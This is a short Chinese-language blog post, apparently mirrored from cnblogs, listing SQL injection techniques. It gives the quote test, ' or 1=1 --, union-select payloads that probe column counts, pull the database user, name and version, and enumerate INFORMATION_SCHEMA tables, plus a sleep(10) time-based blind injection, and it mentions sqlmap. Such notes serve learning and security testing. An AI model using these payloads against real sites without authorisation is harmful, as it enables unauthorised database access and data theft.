zoukankan      html  css  js  c++  java
  • sql注入

    1.输入框中输入单引号,报数据库语法错误,说明可以进行sql注入。

    2.输入框中输入单引号加或恒成立条件,例如:' or 1=1  会查询到该表全部数据

    3.输入:' or 1=1 --yangge  '  其中--后表示数据库的注释,--后的内容都不进入正式查询语句

    4.使用union语句,例如输入: ' union select 1,2,3,4,  --

    其中1,2,3,4用于猜测返回字段的个数,一个数字表示一个字段

    5. ' union select user(),database(),version() --

    其中user()为返回当前用户,database()为返回当前库名,version()为数据库版本

    6. ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --

    查询INFORMATION_SCHEMA库中的tables表中的库名和表名

    7.通过时间进行盲注入,输入一个真条件然后加上一个时间函数,如果时间函数执行,则存在sql注入风险,例如输入:1' and sleep(10) -- yangge

    如果页面加载了10秒,这说明存在sleep()函数被执行,存在sql注入风险

     8.sqlmap自动注入

  • 相关阅读:
    「2019纪中集训Day20」解题报告
    PHP基础入门
    javascript
    正则表达式
    DOM 节点
    对象
    字符串
    函数
    for循环
    jQuery
  • 原文地址:https://www.cnblogs.com/jingzaixin/p/12367619.html
Copyright © 2011-2022 走看看